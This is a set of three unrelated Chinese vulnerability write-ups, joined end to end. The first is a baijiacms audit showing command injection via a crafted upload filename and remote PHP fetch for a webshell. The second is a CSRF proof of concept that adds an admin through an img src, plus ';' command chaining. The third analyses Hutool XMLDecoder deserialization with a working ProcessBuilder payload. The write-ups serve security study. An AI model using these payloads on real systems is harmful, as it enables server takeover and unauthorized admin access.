最终在includes\baijiacms\common.inc.php下找到system函数，其中部分代码如下： function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path,$allownet=true) { $settings=globaSystemSetting(); if(!file_move($file_tmp_name, $file_full_path)) { return error(-1, '保存上传文件失败'); } if(!empty($settings['image_compress_openscale'])) { $scal=$settings['image_compress_scale']; $quality_command=''; if(intval($scal)>0) { $quality_command=' -quality '.intval($scal); } system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path); } ... .... ..... 这里可以看到是保存文件的，在其中进行了一个判断是否上传成功的，这个自不必在意，这里我们看另一个： if(!empty($settings['image_compress_openscale'])) 这个是什么意思呢，我们这里可以看出如果这个判断可以通过，而后就会对文件名和文件路径进行一个system执行，那我们就有可能实现命令执行，因此我们的首要任务就是找到这个是什么东西，所以接下来全局搜索image_compress_openscale 此时就找到了，它就是图片压缩功能，所以我们直接去开启这个功能，这里这个if判断就可以通过啦，所以接下来首先去开启这个，访问路由如下： http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=netattach&beid=1 接下来我们跟进看一下哪个文件利用了这个函数，毕竟找到文件才能利用。 可以发现这里的话对此函数进行了一个利用，具体代码如下： $extention = pathinfo($file['name'], PATHINFO_EXTENSION);        $extention=strtolower($extention);    if($extention=='txt')   {               $substr=substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SELF'], '/'));               if(empty( $substr))               {                $substr="/";                   }           $verify_root= substr(WEB_ROOT."/",0, strrpos(WEB_ROOT."/", $substr))."/";        //file_save($file['tmp_name'],$file['name'],$extention,$verify_root.$file['name'],$verify_root.$file['name'],false);                file_save($file['tmp_name'],$file['name'],$extention,WEB_ROOT."/".$file['name'],WEB_ROOT."/".$file['name'],false);                if($verify_root!=WEB_ROOT."/")               {                    copy(WEB_ROOT."/".$file['name'],$verify_root."/".$file['name']);               }         $cfg['weixin_hasverify']=$file['name'];   } 这里的话是对上传文件进行了pathinfo函数处理，其实也就是获取了拓展名（后缀名），当为txt后缀时，会继续往下进行，继而调用这个file_save函数，所以我们这里的思路就明了了，我们这里新建一个文件，命名为xxx命令.txt，此时按理说就可以达到一个命令执行的效果，接下来进行尝试。 我们这里新建一个txt文件，命名为&ipconfig&.txt 接下来对其进行上传，具体路由 http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=weixin&do=setting&beid=1 接下来保存便可以看到效果。 任意文件读取 疑点一（失败） 文件路由/system/eshop/core/mobile/shop/util.php，重要代码如下： } else if ($operation == 'areas') { require_once WEB_ROOT . '/includes/lib/json/xml2json.php'; $file = ESHOP_AREA_XMLFILE; $content = file_get_contents($file); $json = xml2json::transformXmlStringToJson($content); $areas = json_decode($json, true); die(json_encode($areas)); 其他暂且不看，我们这里先看这两个： $file = ESHOP_AREA_XMLFILE;$content = file_get_contents($file); 本来直接包含$file的话，确实是可能存在文件读取，但我们这里可以看到它这里是给$file直接赋值了，这个是什么呢，我们全局搜索一下可以发现是一个xml文件。 那么它对我们来说是不可控的，所以这里就不存在文件读取了，因此这里属于误报，看下一处。 所以类似这种的可疑点不必再关注，这里简单列出几个： 文件名：/system/eshop/core/web/sale/enough.php 部分代码： $content = file_get_contents($file); 文件名：/system/eshop/core/web/shop/dispatch.php 部分代码： $content = file_get_contents($file); 文件上传 疑点一 文件上传，这里Seay并未扫到什么，所以我们手动来进行寻找，对于文件上传，最先想到的就是上传二字，对应英文为upload，所以直接Vscode全局搜索upload() 文件路由为includes\baijiacms\common.inc.php，具体代码如下： function file_upload($file, $type = 'image') { if(empty($file)) { return error(-1, '没有上传内容'); } $limit=5000; $extention = pathinfo($file['name'], PATHINFO_EXTENSION); $extention=strtolower($extention); if(empty($type)||$type=='image') { $extentions=array('gif', 'jpg', 'jpeg', 'png'); } if($type=='music') { $extentions=array('mp3','wma','wav','amr','mp4'); } if($type=='other') { $extentions=array('gif', 'jpg', 'jpeg', 'png','mp3','wma','wav','amr','mp4','doc'); } ... ... } 这里可以看到这个是进行了很多检测的，对文件类型进行了检测，且要求了后缀，所以这个函数应该是文件上传不了了，但还好它不止一个有关upload的函数，我们往下看到这样一个函数： function fetch_net_file_upload($url) { $url = trim($url); $extention = pathinfo($url,PATHINFO_EXTENSION ); $path = '/attachment/'; $extpath="{$extention}/" . date('Y/m/'); mkdirs(WEB_ROOT . $path . $extpath); do { $filename = random(15) . ".{$extention}"; } while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename)); $file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename; $file_relative_path = $extpath. $filename; if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) { $result['message'] = '提取失败.'; return $result; } $file_full_path = WEB_ROOT .$path . $extpath. $filename; return file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path); } 可以发现这个只对文件进行了pathinfo函数处理，取出其后缀名，然后拼接路径及随机数字来组成文件名，那么我们如果通过这个函数进行文件上传，按理说就可以上传php文件实现getshell，接下来看看哪个文件利用了此函数。 文件路由system\public\class\web\file.php，具体代码： if ($do == 'fetch') { $url = trim($_GPC['url']); $file=fetch_net_file_upload($url); if (is_error($file)) { $result['message'] = $file['message']; die(json_encode($result)); } } 接下来我们只需要满足do=fetch，然后url中包含我们的文件，便可实现文件上传，我这里远程文件内容如下： 接下来进行利用尝试。访问路由如下： http://127.0.0.1:8080/baijiacms-master/index.php?mod=web&do=file&m=public&op=fetch&url=http://xxx.xxx.xxx.xxx/qwq.php 访问给出的文件路径。 可以发现此时已经实现了文件上传，如果传一句话木马即可Getshell。 后言 本次CMS审计是小白的第一次大幅度利用手动搜索危险函数来寻找漏洞，共计耗时半周，对本小白来说已颇为吃力，其中颇多审计失败的点，虽审计失败，但仍感觉对代码能力有了进一步了解，也算有所收获。最后，如果文章中有错误，还望各位大师傅多多指正。

俗话说得好，思路才是最重要，本文章主要提供思路，各位师傅在挖掘漏洞的时候说不定也能碰到类似的点。 思路： 当我们在找可以构建csrf的时候，多找找可以提交上传图片的，部分是可以自由构建url，如图： 漏洞位置： 反馈位置构造csrf 既然能任意构建url，并没有校验防御。 开始找后台漏洞点 添加管理员处抓包 添加管理员转get试下，看能不能成功添加。 发现可行，我们返回反馈列表抓包构建下poc： 这里的话先构造一个添加管理员的，&符号需要编码下。 然后返回后台看看反馈列表。 这里的话只需要管理员点开触发即可。 点击之后Img src会加载get请求。 成功添加管理员 Poc: 添加管理员 /admin.php/sys/save?name=admin1&pass=123456 修改认证码 /admin.php/setting/save?admin_code=admin 当然没rce是没有灵魂的。 在采集管理，下载资源会压缩保存。 因为if会判断执行无法用|那么就用;，因为;在shell中，担任连续指令，从左到右执行，当执行到错误的命令会停止。 可以看到我这里的分别执行了ls和ping命令。 演示： ls;ping ls;dir;ping;i 复现成功 RCE 就不公布了，涉及到很多站点。

漏洞简介 　　Hutool 中的XmlUtil.readObjectFromXml方法直接封装调用XMLDecoder.readObject解析xml数据，当使用 readObjectFromXml 去处理恶意的 XML 字符串时会造成任意代码执行。 漏洞复现 　　我们在 maven 仓库中查找 Hutool 　　 https://mvnrepository.com/search?q=Hutool 　　 　　 　　把依赖复制出来，添加到项目的 pom.xml 文件中 <!-- https://mvnrepository.com/artifact/cn.hutool/hutool-all --> <dependency>    <groupId>cn.hutool</groupId>    <artifactId>hutool-all</artifactId>    <version>5.8.11</version> </dependency> 　　添加完成后刷新一下 maven 依赖 　　我们编写代码 import cn.hutool.core.util.XmlUtil; public class Test {    public static void main(String[] args) {        XmlUtil.readObjectFromXml("<java>\n" +                "   <object class=\"java.lang.ProcessBuilder\">\n" +                "       <array class=\"java.lang.String\" length=\"1\">\n" +                "           <void index=\"0\">\n" +                "               <string>calc</string>\n" +                "           </void>\n" +                "       </array>\n" +                "       <void method=\"start\"></void>\n" +                "   </object>\n" +                "</java>\n");   } } 　　 　　在项目目录下创建一个 bean.xml 文件，将 xml 放在文件中，构造代码也可以触发 import cn.hutool.core.util.XmlUtil; import java.io.File; public class Test {    public static void main(String[] args) {        File file = new File("bean.xml");        XmlUtil.readObjectFromXml(file);   } } 　　 漏洞分析 　　整个漏洞分析下来相对来时是比较简单的，但是深入搞清楚 XML 反序列化的原理需要花费不小的功夫 　　 cn.hutool.core.util.XmlUtil#readObjectFromXml(java.lang.String) 　　 　　当然这个地方也是可以通过读取文件来实现的 　　 cn.hutool.core.util.XmlUtil#readObjectFromXml(java.io.File) 　　 　　 cn.hutool.core.util.XmlUtil#readObjectFromXml(org.xml.sax.InputSource) 　　 　　 java.beans.XMLDecoder#readObject 　　 　　漏洞本质上是 java 原生方法中的漏洞，XMLDecoder.readObject 。所以不去调用 hutool-all 中的 readObjectFromXml 方法 就可以避免这个漏洞的产生。 漏洞修复 　　在最新版的 hutool-all 没有用黑名单，而是直接移除了 readObjectFromXml 方法，简单粗暴。 　　 XMLDecoder.readObject <java> <object class="java.lang.ProcessBuilder">  <array class="java.lang.String" length="1">    <void index="0"><string>calc</string></void>  </array>  <void method="start"></void> </object> </java> 　　object 标签，class 的值对应着实例化的全类名（java.lang.ProcessBuilder） 　　array 标签，class 的值对应着实例化的全类名对象构造的参数（ProcessBuilder 对象的构造参数） 　　void 标签，method 的值对应着 method 的参数 （start） 　　最后相当于执行了 new java.lang.ProcessBuilder(new String[]{"calc"}).start(); 　　‍ 　　为了方便看到整个调用联的流程，我们在触发漏洞的位置加上断点，分析其中经过了那些处理 　　 java.lang.ProcessBuilder#start 　　 　　‍ start:1007, ProcessBuilder (java.lang) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invoke:71, Trampoline (sun.reflect.misc) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invoke:275, MethodUtil (sun.reflect.misc) invokeInternal:292, Statement (java.beans) access$000:58, Statement (java.beans) run:185, Statement$2 (java.beans) doPrivileged:-1, AccessController (java.security) invoke:182, Statement (java.beans) getValue:155, Expression (java.beans) getValueObject:166, ObjectElementHandler (com.sun.beans.decoder) getValueObject:123, NewElementHandler (com.sun.beans.decoder) endElement:169, ElementHandler (com.sun.beans.decoder) endElement:318, DocumentHandler (com.sun.beans.decoder) endElement:609, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers) scanEndElement:1782, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl) next:2967, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl) next:602, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl) scanDocument:505, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl) parse:842, XML11Configuration (com.sun.org.apache.xerces.internal.parsers) parse:771, XML11Configuration (com.sun.org.apache.xerces.internal.parsers) parse:141, XMLParser (com.sun.org.apache.xerces.internal.parsers) parse:1213, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers) parse:643, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp) parse:327, SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp) run:375, DocumentHandler$1 (com.sun.beans.decoder) run:372, DocumentHandler$1 (com.sun.beans.decoder) doPrivileged:-1, AccessController (java.security) doIntersectionPrivilege:74, ProtectionDomain$JavaSecurityAccessImpl (java.security) parse:372, DocumentHandler (com.sun.beans.decoder) run:201, XMLDecoder$1 (java.beans) run:199, XMLDecoder$1 (java.beans) doPrivileged:-1, AccessController (java.security) parsingComplete:199, XMLDecoder (java.beans) readObject:250, XMLDecoder (java.beans) main:20, xmldecode (xml) 　　‍ 　　比较关键的处理逻辑是在 com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument 开始对 xml 进行解析 　　 　　‍ 　　先简单描述一下我的理解，然后再截图与之相对应，可能部分理解并不完全正确 　　根据 xml 文件的中的标识来识别开始还是结束 < 对应着开始，</ 对应着结束 　　解析时会调用相对应的 Handler 进行处理，Handler 在 DocumentHandler.class 中被定义，通过节点名获取对应的handler 　　解析到结束标识时会调用到相对应的 Handler 中的 getValueObject 方法 最后实现命令执行（这里描述比较简单，后面根据代码在详细描述） 　　‍ 　　 com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument 　　 　　这里是一个 do while 的循环 直到匹配到结束标识 XMLStreamConstants.END_DOCUMENT 　　‍ 　　 com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl#next 　　 　　 com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.XMLDeclDriver#next 　　 　　‍ 　　 com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.PrologDriver#next 　　 　　 com.sun.beans.decoder.DocumentHandler#DocumentHandler 　　 　　对应的 Handler 是根据节点返回的，最主要的漏洞触发位置应该是endElement 中 　　 com.sun.org.apache.xerces.internal.parsers.AbstractSAXParser#endElement 　　 　　 com.sun.beans.decoder.DocumentHandler#endElement 　　 　　调用 StringElementHandler 对应的 endElement 方法 ，StringElementHandler 没有这个方法，调用其父类 ElementHandler 中 endElement 　　 　　 com.sun.beans.decoder.ElementHandler#endElement 　　 　　 com.sun.beans.decoder.StringElementHandler#getValueObject 　　 　　最后返回获取到的值是 calc 添加到其父类对应的 Argument 属性 　　 com.sun.beans.decoder.NewElementHandler#addArgument 　　 　　接着将 handler 指向上一级的 handler VoidElementHandler 　　调用 VoidElementHandler 对应的 endElement 方法 ，VoidElementHandler 没有这个方法，调用其父类 ObjectElementHandler 的父类NewElementHandler 的父类 ElementHandler 中 endElement 　　 com.sun.beans.decoder.ElementHandler#endElement 　　 　　 com.sun.beans.decoder.NewElementHandler#getValueObject() 　　 com.sun.beans.decoder.ObjectElementHandler#getValueObject 　　 　　执行完后又有一个 <void method="start"></void> 　　调试返回的结果 　　 com.sun.beans.decoder.DocumentHandler#endElement 　　 　　 com.sun.beans.decoder.ElementHandler#endElement 　　 　　 com.sun.beans.decoder.NewElementHandler#getValueObject() 　　 　　 com.sun.beans.decoder.ObjectElementHandler#getValueObject 　　 　　 com.sun.beans.decoder.NewElementHandler#getContextBean 　　 　　 com.sun.beans.decoder.ElementHandler#getContextBean 　　 　　 com.sun.beans.decoder.NewElementHandler#getValueObject() 　　 　　 com.sun.beans.decoder.ObjectElementHandler#getValueObject 　　 　　 com.sun.beans.decoder.NewElementHandler#getContextBean 　　 　　 com.sun.beans.decoder.ObjectElementHandler#getValueObject 　　 　　 com.sun.beans.decoder.NewElementHandler#getValueObject() 　　 　　 com.sun.beans.decoder.ElementHandler#getContextBean 　　 　　 com.sun.beans.decoder.NewElementHandler#getContextBean 　　 　　 　　继续执行，最终触发命令执行 　　 com.sun.beans.decoder.ObjectElementHandler#getValueObject 　　 　　后一部分很像套娃 　　 　　整个过程冗长繁琐，建议自己调试分析一下，可能了解的更加清楚。